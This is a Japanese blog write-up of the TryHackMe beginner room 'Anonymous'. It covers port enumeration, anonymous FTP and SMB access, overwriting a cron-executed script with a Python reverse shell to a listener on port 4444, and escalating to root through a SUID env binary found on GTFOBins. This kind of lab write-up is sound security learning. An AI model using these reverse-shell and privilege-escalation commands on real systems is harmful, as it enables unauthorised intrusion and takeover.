TryHackMe(THM):Anonymous

目次

Task 1 Pwn

  Try to get the two flags!  Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.

2つの旗を手に入れよう  マシンをRoot化して、基礎知識の理解度を証明しよう 本機は初心者向けの仮想マシンです。2つのフラグを取得するには、Linuxの基本的な知識と特権昇格の方法が必要です。

For more information on Linux, check out Learn Linux

Linuxに関する詳しい情報は、Learn Linuxをご覧ください。

Enumerate the machine.  How many ports are open?

マシンを列挙する。 いくつのポートが開いているか?

nmapコマンドを入力してみる

#nmap -sV -sC <$IP>

f:id:akebono-haze:20210417172850p:plain

nmapのコマンド結果から解放されているポート数がわかります。

What service is running on port 21?

21番ポートで動作しているサービスは?

nmapの出力結果からサービス名は明らかです。

What service is running on ports 139 and 445?

ポート139と445で動作しているサービスは?

これもnmapの出力結果からサービス名は明らかです。

There's a share on the user's computer.  What's it called?

ユーザーのパソコンには、ある共有があります。 それは何と呼ばれていますか?

共有名を答えるので、「smbclient」で接続してみます。

# smbclient -L ////<$IP>/anonymous -N

f:id:akebono-haze:20210417173210p:plain

user.txt

ftpにanonymousでログインしてみます。

ディレクト移動すると3つファイルが見つかりました。

f:id:akebono-haze:20210417173334p:plain

mgetコマンドでローカルPCにダウンロードしてみます。

mget *

f:id:akebono-haze:20210417173420p:plain

clean.shファイルの中身を確認すると、cronで実行するシェルスクリプトのようです。

実行結果のログがscriptsフォルダのremoved_files.logに出力されます。

# cat clean.sh

f:id:akebono-haze:20210421220127p:plain

このシェルをPythonのリバースシェルスクリプトに変更してみます。

 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<$IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

実際に書くときは全角の括弧は半角の括弧に書き直してください。

f:id:akebono-haze:20210417173532p:plain

編集したclean.shファイルをFTPサーバへputコマンドでアップロードします。

put clean.sh

f:id:akebono-haze:20210417173701p:plain

別のターミナルを起動してnetcatコマンドを実行します。

# nc -lvnp 4444

clean.shファイルはcronで実行されているので、数分待っていると接続してきます。

f:id:akebono-haze:20210417173839p:plain

接続が確認されたら疑似ターミナルを生成します。

$ python -c pty;pty.spawn("/bin/bash")'

f:id:akebono-haze:20210417174424p:plain

生成したシェルでlsコマンドを実行してみます。

$ ls -al

f:id:akebono-haze:20210417174612p:plain

現在のディレクトリ上にuser.txtファイルがありました。

f:id:akebono-haze:20210417174630p:plain

root.txt

この先がわからなかったので、先人の知恵を拝借すると、SUIDを検索するらしい。

「SUID(Set User ID)」とは、「誰がそのファイルを実行しても、セットされたユーザで実行される」という状態のこと。

例えば、passwdコマンドなどは所有者がrootになっておりSUIDが指定されています。この場合どのユーザがpasswdコマンドを実行しても必ずrootユーザが実行した状態となります。 SUIDでrootユーザを指定してある場合、なんの認証もなしにroot権限でそのコマンドを実行できてしまうので一般的にSUIDは扱いに注意が必要です。

ということで、SUIDが有効になっているファイルを検索します。

$ find / -perm -u=s -type f 2 >/dev/null

f:id:akebono-haze:20210417175230p:plain

findコマンドの結果とGTFOBINS Webから以下のコマンドを実行します。

gtfobins.github.io

 $ /usr/bin/env /bin/sh -p 

f:id:akebono-haze:20210417175442p:plain

実行後、whoamiコマンドを実行するとroot権限が取得できています。

cdコマンドとlsコマンドを駆使するとroot.txtファイルが見つかりました。

catコマンドで中身を確認します。

# cat root.txt

f:id:akebono-haze:20210417175544p:plain


完了!